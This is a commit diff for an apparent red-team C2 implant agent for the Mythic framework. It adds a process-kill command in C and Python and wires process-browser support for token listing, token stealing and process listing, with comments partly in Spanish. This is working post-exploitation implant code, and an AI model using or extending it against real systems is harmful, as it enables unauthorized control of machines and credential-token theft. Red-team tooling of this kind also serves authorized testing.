Process Browser options implemented
This commit is contained in:
@@ -171,6 +171,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
||||
ObtenerUsuarioActual(analizadorTarea);
|
||||
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||
} else if (tarea == KILL_CMD) {
|
||||
_inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea);
|
||||
MatarProceso(analizadorTarea);
|
||||
_inf("===== KILL_CMD COMPLETED =====");
|
||||
} else {
|
||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||
|
||||
@@ -53,6 +53,7 @@
|
||||
#define MAKE_TOKEN_CMD 0x34
|
||||
#define REV2SELF_CMD 0x35
|
||||
#define WHOAMI_CMD 0x36
|
||||
#define KILL_CMD 0x37
|
||||
|
||||
/* Extension marker to carry SOCKS array in binary messages */
|
||||
#define SOCKS_BLOCK_MARKER 0xF5
|
||||
|
||||
@@ -910,3 +910,148 @@ VOID ObtenerUsuarioActual(PAnalizador argumentos) {
|
||||
liberarPaquete(respuesta);
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Kill a process by PID
|
||||
* Terminates a process using TerminateProcess API
|
||||
*/
|
||||
VOID MatarProceso(PAnalizador argumentos) {
|
||||
// For input_type=string commands, format is: [UUID:length_prefixed][nbArg:4][param1:length_prefixed]...
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
if (nbArg < 1) {
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: Se requiere PID\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// PID comes as a string parameter (input_type=string means all params are strings)
|
||||
SIZE_T pid_len = 0;
|
||||
PCHAR pid_str = getString(argumentos, &pid_len);
|
||||
|
||||
// Convert PID string to integer
|
||||
UINT32 pid = 0;
|
||||
if (pid_str && pid_len > 0) {
|
||||
// Null-terminate the PID string for atoi
|
||||
char pid_null_term[16] = {0};
|
||||
SIZE_T copy_len = pid_len < sizeof(pid_null_term) - 1 ? pid_len : sizeof(pid_null_term) - 1;
|
||||
memcpy(pid_null_term, pid_str, copy_len);
|
||||
pid_null_term[copy_len] = '\0';
|
||||
pid = (UINT32)atoi(pid_null_term);
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: PID inválido o es 0\n");
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// Don't allow killing critical system processes (PIDs 0, 4, 8)
|
||||
if (pid <= 4 || pid == 8) {
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: No se puede matar procesos críticos del sistema (PID: %lu)\n", pid);
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
// First, verify process exists using PROCESS_QUERY_INFORMATION
|
||||
_inf("[kill] Intentando matar proceso PID %lu", pid);
|
||||
HANDLE hCheck = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
|
||||
if (!hCheck) {
|
||||
DWORD checkError = GetLastError();
|
||||
_err("[kill] Proceso PID %lu no existe (verificación inicial falló, error: %lu)", pid, checkError);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: El proceso PID %lu no existe o ya terminó (error: %lu)\n", pid, checkError);
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
_inf("[kill] Proceso PID %lu existe, verificando acceso de terminación...", pid);
|
||||
CloseHandle(hCheck);
|
||||
|
||||
// Open process with PROCESS_TERMINATE access
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
DWORD error = GetLastError();
|
||||
_err("[kill] OpenProcess(PROCESS_TERMINATE) falló para PID %lu, error: %lu", pid, error);
|
||||
|
||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaError, tareaUuid, FALSE);
|
||||
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||
|
||||
// Provide more specific error messages
|
||||
if (error == ERROR_INVALID_PARAMETER || error == 87) {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: El proceso PID %lu no existe o ya terminó (error: %lu)\n", pid, error);
|
||||
} else if (error == ERROR_ACCESS_DENIED || error == 5) {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: Acceso denegado al proceso PID %lu. Se requieren privilegios de administrador (error: %lu)\n", pid, error);
|
||||
} else {
|
||||
PackageAddFormatPrintf(salidaError, FALSE, "[kill] Error: No se pudo abrir el proceso PID %lu, error: %lu\n", pid, error);
|
||||
}
|
||||
|
||||
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||
mandarPaquete(respuestaError);
|
||||
liberarPaquete(salidaError);
|
||||
liberarPaquete(respuestaError);
|
||||
return;
|
||||
}
|
||||
|
||||
_inf("[kill] Proceso PID %lu abierto con éxito, terminando...", pid);
|
||||
// Terminate the process
|
||||
BOOL success = TerminateProcess(hProcess, 1); // Exit code 1
|
||||
DWORD terminateError = GetLastError();
|
||||
CloseHandle(hProcess);
|
||||
|
||||
if (!success) {
|
||||
_err("[kill] TerminateProcess falló para PID %lu, error: %lu", pid, terminateError);
|
||||
} else {
|
||||
_inf("[kill] TerminateProcess ejecutado exitosamente para PID %lu", pid);
|
||||
}
|
||||
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, tareaUuid, FALSE);
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
if (success) {
|
||||
PackageAddFormatPrintf(salida, FALSE, "[kill] Proceso PID %lu terminado exitosamente\n", pid);
|
||||
} else {
|
||||
DWORD error = GetLastError();
|
||||
PackageAddFormatPrintf(salida, FALSE, "[kill] Error al terminar proceso PID %lu, error: %lu\n", pid, error);
|
||||
}
|
||||
|
||||
// Add output first (parser expects UUID -> output -> artifacts)
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Add artifact for process termination AFTER output
|
||||
if (success) {
|
||||
char artifact_msg[256] = {0};
|
||||
snprintf(artifact_msg, sizeof(artifact_msg), "Process Termination: PID %lu", pid);
|
||||
addArtifact(respuesta, "Process Termination", artifact_msg);
|
||||
}
|
||||
mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
}
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
#define STEAL_TOKEN_CMD 0x33
|
||||
#define MAKE_TOKEN_CMD 0x34
|
||||
#define REV2SELF_CMD 0x35
|
||||
#define KILL_CMD 0x37
|
||||
|
||||
// Forward declarations
|
||||
VOID ListarTokens(PAnalizador argumentos);
|
||||
@@ -18,6 +19,7 @@ VOID RobarToken(PAnalizador argumentos);
|
||||
VOID CrearToken(PAnalizador argumentos);
|
||||
VOID RevertirToken(PAnalizador argumentos);
|
||||
VOID ObtenerUsuarioActual(PAnalizador argumentos);
|
||||
VOID MatarProceso(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class KillArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="pid",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID to kill",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
# Process Browser parameters (optional, passed automatically by Mythic)
|
||||
CommandParameter(
|
||||
name="host",
|
||||
type=ParameterType.String,
|
||||
description="Host name (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="process_id",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID (from Process Browser, takes precedence over pid)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=3
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="architecture",
|
||||
type=ParameterType.String,
|
||||
description="Process architecture (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=4
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
# Check if process_id is provided (from Process Browser)
|
||||
if not self.get_arg("process_id") and not self.get_arg("pid"):
|
||||
raise ValueError("Must supply a PID")
|
||||
else:
|
||||
try:
|
||||
self.add_arg("pid", int(self.command_line))
|
||||
except ValueError:
|
||||
raise ValueError("PID must be a number")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
# If process_id is provided (from Process Browser), use it instead of pid
|
||||
if self.get_arg("process_id") and not self.get_arg("pid"):
|
||||
self.add_arg("pid", self.get_arg("process_id"))
|
||||
|
||||
|
||||
class KillCommand(CommandBase):
|
||||
cmd = "kill"
|
||||
needs_admin = False
|
||||
help_cmd = "kill <pid>"
|
||||
description = "Terminate a process by PID"
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
attackmapping = ["T1489"]
|
||||
supported_ui_features = ["process_browser:kill"]
|
||||
argument_class = KillArguments
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
pid = taskData.args.get_arg("pid")
|
||||
if pid:
|
||||
response.DisplayParams = f"Killing process PID: {pid}"
|
||||
else:
|
||||
response.DisplayParams = "Killing process (no PID specified)"
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# Check if kill was successful by checking user_output
|
||||
if response:
|
||||
user_output = response.get("user_output", "")
|
||||
# Check if output indicates success (doesn't contain error indicators)
|
||||
if user_output and not any(err in user_output.lower() for err in ["error", "no se pudo", "falló", "failed"]):
|
||||
# Get the PID that was killed
|
||||
pid = task.args.get_arg("pid") or task.args.get_arg("process_id")
|
||||
if pid:
|
||||
# Get hostname
|
||||
host = task.Callback.Host if task.Callback else ""
|
||||
|
||||
# Add removed_processes array to response (similar to removed_files for file browser)
|
||||
# This tells Mythic Process Browser to remove this process from the cache
|
||||
resp.ProcessResponse = response if isinstance(response, dict) else {}
|
||||
if "removed_processes" not in resp.ProcessResponse:
|
||||
resp.ProcessResponse["removed_processes"] = []
|
||||
resp.ProcessResponse["removed_processes"].append({
|
||||
"host": host,
|
||||
"process_id": int(pid)
|
||||
})
|
||||
logging.info(f"[PROCESS_BROWSER] Marked process PID {pid} as removed in Process Browser")
|
||||
|
||||
return resp
|
||||
|
||||
@@ -5,7 +5,36 @@ from mythic_container.MythicRPC import *
|
||||
class ListTokensArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
self.args = [
|
||||
# Process Browser parameters (optional, passed automatically by Mythic)
|
||||
CommandParameter(
|
||||
name="host",
|
||||
type=ParameterType.String,
|
||||
description="Host name (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="process_id",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID to list tokens from (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="architecture",
|
||||
type=ParameterType.String,
|
||||
description="Process architecture (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=3
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
@@ -21,6 +50,7 @@ class ListTokensCommand(CommandBase):
|
||||
description = "List all available tokens from running processes"
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
supported_ui_features = ["process_browser:list_tokens"]
|
||||
argument_class = ListTokensArguments
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
|
||||
@@ -1,50 +1,62 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
import json
|
||||
|
||||
|
||||
class PsArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("ps no debe lanzarse con parametros")
|
||||
|
||||
|
||||
class PsCommand(CommandBase):
|
||||
cmd = "ps"
|
||||
needs_admin = False
|
||||
help_cmd = "ps"
|
||||
description = "Lista los procesos del host."
|
||||
version = 1
|
||||
supported_ui_features = ["process_browser:list"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = PsArguments
|
||||
browser_script = BrowserScript(
|
||||
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
|
||||
)
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=True
|
||||
)
|
||||
attackmapping = []
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent. The translator automatically converts
|
||||
tab-separated process list to Process Browser JSON format.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
# Note: The translator (commands_from_implant.py) handles conversion
|
||||
# from tab-separated format to Process Browser JSON format automatically
|
||||
from mythic_container.MythicCommandBase import *
|
||||
import json
|
||||
import logging
|
||||
|
||||
|
||||
class PsArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("ps no debe lanzarse con parametros")
|
||||
|
||||
|
||||
class PsCommand(CommandBase):
|
||||
cmd = "ps"
|
||||
needs_admin = False
|
||||
help_cmd = "ps"
|
||||
description = "Lista los procesos del host."
|
||||
version = 1
|
||||
supported_ui_features = ["process_browser:list"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = PsArguments
|
||||
browser_script = BrowserScript(
|
||||
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
|
||||
)
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=True
|
||||
)
|
||||
attackmapping = []
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent. The translator automatically converts
|
||||
tab-separated process list to Process Browser JSON format.
|
||||
We also ensure update_deleted=True is set for all processes to clear the cache.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# Merge with existing response if present
|
||||
if response and isinstance(response, dict):
|
||||
resp.ProcessResponse = response
|
||||
|
||||
# Ensure processes have update_deleted=True to clear cache
|
||||
if "processes" in resp.ProcessResponse and isinstance(resp.ProcessResponse["processes"], list):
|
||||
for process in resp.ProcessResponse["processes"]:
|
||||
if isinstance(process, dict):
|
||||
process["update_deleted"] = True
|
||||
logging.info(f"[PROCESS_BROWSER] Set update_deleted=True for {len(resp.ProcessResponse['processes'])} processes in process_response")
|
||||
|
||||
return resp
|
||||
@@ -11,22 +11,56 @@ class StealTokenArguments(TaskArguments):
|
||||
type=ParameterType.Number,
|
||||
description="Process ID to steal token from",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
required=False,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
# Process Browser parameters (optional, passed automatically by Mythic)
|
||||
CommandParameter(
|
||||
name="host",
|
||||
type=ParameterType.String,
|
||||
description="Host name (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="process_id",
|
||||
type=ParameterType.Number,
|
||||
description="Process ID (from Process Browser, takes precedence over pid)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=3
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="architecture",
|
||||
type=ParameterType.String,
|
||||
description="Process architecture (from Process Browser)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=4
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a PID")
|
||||
try:
|
||||
self.add_arg("pid", int(self.command_line))
|
||||
except ValueError:
|
||||
raise ValueError("PID must be a number")
|
||||
# Check if process_id is provided (from Process Browser)
|
||||
if not self.get_arg("process_id") and not self.get_arg("pid"):
|
||||
raise ValueError("Must supply a PID")
|
||||
else:
|
||||
try:
|
||||
self.add_arg("pid", int(self.command_line))
|
||||
except ValueError:
|
||||
raise ValueError("PID must be a number")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
# If process_id is provided (from Process Browser), use it instead of pid
|
||||
if self.get_arg("process_id") and not self.get_arg("pid"):
|
||||
self.add_arg("pid", self.get_arg("process_id"))
|
||||
|
||||
|
||||
class StealTokenCommand(CommandBase):
|
||||
@@ -37,6 +71,7 @@ class StealTokenCommand(CommandBase):
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
attackmapping = ["T1134.001"]
|
||||
supported_ui_features = ["process_browser:steal_token"]
|
||||
argument_class = StealTokenArguments
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
|
||||
@@ -27,6 +27,7 @@ commands = {
|
||||
"make_token": {"hex_code": 0x34, "input_type": "string"},
|
||||
"rev2self": {"hex_code": 0x35, "input_type": None},
|
||||
"whoami": {"hex_code": 0x36, "input_type": None},
|
||||
"kill": {"hex_code": 0x37, "input_type": "string"},
|
||||
# Added SOCKS control commands
|
||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||
|
||||
@@ -1135,8 +1135,13 @@ def postResponse(data):
|
||||
|
||||
# Si detectamos una lista de procesos, también incluir el formato para Process Browser
|
||||
if is_process_list and len(processes) > 0:
|
||||
# Mark ALL processes with update_deleted=True to tell Mythic this is the complete list
|
||||
# According to Mythic docs: "setting this to true tells Mythic to mark any process not returned in this process array as deleted"
|
||||
# This effectively clears the cache by removing processes that no longer exist
|
||||
for process in processes:
|
||||
process["update_deleted"] = True
|
||||
jsonTask["processes"] = processes
|
||||
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos")
|
||||
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos (update_deleted=True en TODOS los procesos para limpiar caché)")
|
||||
|
||||
# Detectar y convertir formato File Browser (formato: path\nD/F\tSIZE\tDATE\tNAME)
|
||||
# El formato del agente es: primera línea es el path, luego líneas con D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||
|
||||
Reference in New Issue
Block a user